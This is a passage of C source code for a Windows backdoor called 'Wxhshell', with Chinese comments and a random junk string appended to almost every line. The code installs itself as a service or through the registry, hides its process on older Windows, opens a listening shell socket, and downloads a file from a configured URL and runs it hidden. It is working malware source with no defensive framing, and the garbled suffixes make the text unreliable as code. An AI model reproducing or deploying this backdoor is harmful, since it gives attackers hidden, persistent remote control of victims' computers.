DWORD AffinityMask; S|HY+Z6n'
DWORD BasePriority; Ba<ngG
!
ULONG UniqueProcessId; SU/G)&Mi
ULONG InheritedFromUniqueProcessId; Q~phGD3!~
} PROCESS_BASIC_INFORMATION; z1F9$^
&]w#z=5SXi
PROCNTQSIP NtQueryInformationProcess; DL,[k
(
l$F_"o?&S@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l{8CISO*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SaCx)8ul0
'f 3HKn<L
HANDLE hProcess; \I;cZ>{u"}
PROCESS_BASIC_INFORMATION pbi; XTV0Le\f
&`\ ep9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9qEOgJ
if(NULL == hInst ) return 0; [6H}/_nD
b7bSTFZxC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bZ/
hgqS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h0|[etaf
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V{!lk]p}a
TZ'aNcGg
if (!NtQueryInformationProcess) return 0; ^]VcxKU J
h6g:(3t6m
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L/BHexOB
if(!hProcess) return 0; !}ilN 1>
P@C
c]Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `mrCu>7
`|Ey)@w
CloseHandle(hProcess); I:F
<vE
/u=aX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >5.zk1&H
if(hProcess==NULL) return 0; `$at9
okz]Qc>G
HMODULE hMod; mf}\s]_c
char procName[255]; >PIPp7C
unsigned long cbNeeded; 8
}-7{
ABcBEv3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [m\,+lG?)j
k{a)gFH
O
CloseHandle(hProcess); k d+l k:
fWj@e"G
if(strstr(procName,"services")) return 1; // 以服务启动 X@!X6j
hfg
O
return 0; // 注册表启动 7%4.b7Q
} 45)D+
};rm3;~ eg
// 主模块 9\AS@SH{^T
int StartWxhshell(LPSTR lpCmdLine) wlr Ign%
{ 7H%_sw5S.
SOCKET wsl; ]U[&uymax
BOOL val=TRUE; S6GMUaR
int port=0; Wab.|\c
struct sockaddr_in door; 8b7;\C~$p
)!eEO [\d
if(wscfg.ws_autoins) Install(); &Pq\cNYzW
Lyr2(^#:
port=atoi(lpCmdLine); G?<pBMy
LJWTSf"f?
if(port<=0) port=wscfg.ws_port; B7!;]'&d
frc{>u~t
WSADATA data; E67XPvo1+@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MKC$;>i
D-pX<0-y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >!
oF0R_<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :G}DAUFN
door.sin_family = AF_INET; Fj^AWv^/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lUHtjr
door.sin_port = htons(port); vL$|9|W(
%}h`+L
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "y$ qrN-
closesocket(wsl); ^wJEfac
return 1; 0wFh%/:
} -L8YJ8J6
D#jX6
if(listen(wsl,2) == INVALID_SOCKET) { ?L\z}0#
closesocket(wsl); b
=b:
return 1; VhvTBo<cw
} @8zT'/$
Wxhshell(wsl); P?J kP
WSACleanup(); /PqUXF
:G 5C ]'t
return 0; +i=p5d5
C8.W5P[U
} e!Br>^8l
%K zbO0
// 以NT服务方式启动 x>
\Bxa8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rz.IoQo
{ !BUi)mo
DWORD status = 0; t#5:\U5r.
DWORD specificError = 0xfffffff; TEWAZVE*
Pbe7SRdr^
serviceStatus.dwServiceType = SERVICE_WIN32; <tuS,.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Dx3 %KS
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JNBT^=x
serviceStatus.dwWin32ExitCode = 0; hk}
t:<
serviceStatus.dwServiceSpecificExitCode = 0; h$Tr sO
serviceStatus.dwCheckPoint = 0; [4>r6Hqxr
serviceStatus.dwWaitHint = 0; &XQZs`41+
=/9<(Tt%m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @.ZL7$|d
if (hServiceStatusHandle==0) return; io2@}xZF
X$V|+lTk
status = GetLastError(); -k{Jp/-D
if (status!=NO_ERROR) L\L"mc|O
{ 7|Dn+=
serviceStatus.dwCurrentState = SERVICE_STOPPED; +"uwV1)b"
serviceStatus.dwCheckPoint = 0; tS<h8g_
serviceStatus.dwWaitHint = 0; -:SIS`0s
serviceStatus.dwWin32ExitCode = status; nU17L6'$
serviceStatus.dwServiceSpecificExitCode = specificError; PN
&|8_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); azX`oU,l
return; )%VCzye*{
} 0T))>.iu#
{eR9 ;2!
serviceStatus.dwCurrentState = SERVICE_RUNNING; {|6z+vR
serviceStatus.dwCheckPoint = 0; gz61FW
serviceStatus.dwWaitHint = 0; 5B*qbM
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $.:3$et@/
} fHfY}BQS
y5u\j{?Te
// 处理NT服务事件,比如:启动、停止 )gXTRkmw
VOID WINAPI NTServiceHandler(DWORD fdwControl) _~A~+S}
{ J8;Okzb!L
switch(fdwControl) 6Z8l8:r-6
{ _z8;lt
case SERVICE_CONTROL_STOP: 0d4cE10
serviceStatus.dwWin32ExitCode = 0; %v4ZGtKC@
serviceStatus.dwCurrentState = SERVICE_STOPPED; {/ &B!zvl
serviceStatus.dwCheckPoint = 0; 31}W6l88c
serviceStatus.dwWaitHint = 0; 9j#@p
{ A[H;WKn0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C9jbv/c
} 0H[L S
return; T~J?AKx
case SERVICE_CONTROL_PAUSE: ]l[2hy=
cV
serviceStatus.dwCurrentState = SERVICE_PAUSED; l>7r2;
break; J]fS({(\I
case SERVICE_CONTROL_CONTINUE: |zpx)8Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; :;4SQN{2
O
break; yvxl_*Ds8
case SERVICE_CONTROL_INTERROGATE: ^>m^\MuZ
break; V;93).-$
}; Dp^/gL=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 54q3R`y
} 8=Q VN_
Y6ben7j%-
// 标准应用程序主函数 wiE]z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yd>}wHt
{ ?/d!R]3
wL2XNdo}<
// 获取操作系统版本 ,4Y*:JU4
OsIsNt=GetOsVer(); [6RfS
GetModuleFileName(NULL,ExeFile,MAX_PATH); gX,9Gh
2[up+;%Y
// 从命令行安装 A]?^ H<
if(strpbrk(lpCmdLine,"iI")) Install(); `o
si"o9
8i:[:Z
// 下载执行文件 |+NuYz?
if(wscfg.ws_downexe) { K"l0w**Og#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @\}YAa>>"I
WinExec(wscfg.ws_filenam,SW_HIDE); Bq!cY Wj
} s'L?;:)dyB
a+?~;.i~
if(!OsIsNt) { 'm O2t~n
// 如果时win9x,隐藏进程并且设置为注册表启动 )(bxpW
HideProc(); j} RzXJ~t
StartWxhshell(lpCmdLine); YKs4{?vw
} 1V%'.l9
else Wsm`YLYkt!
if(StartFromService()) bGv4.:)
// 以服务方式启动 p4>,Fwy2
StartServiceCtrlDispatcher(DispatchTable); Qb`C)Nh:
else -3hCiKq
// 普通方式启动 Q)^g3J
StartWxhshell(lpCmdLine); .mPg0
rkYjq4Z@
return 0; =Od>;|]m
}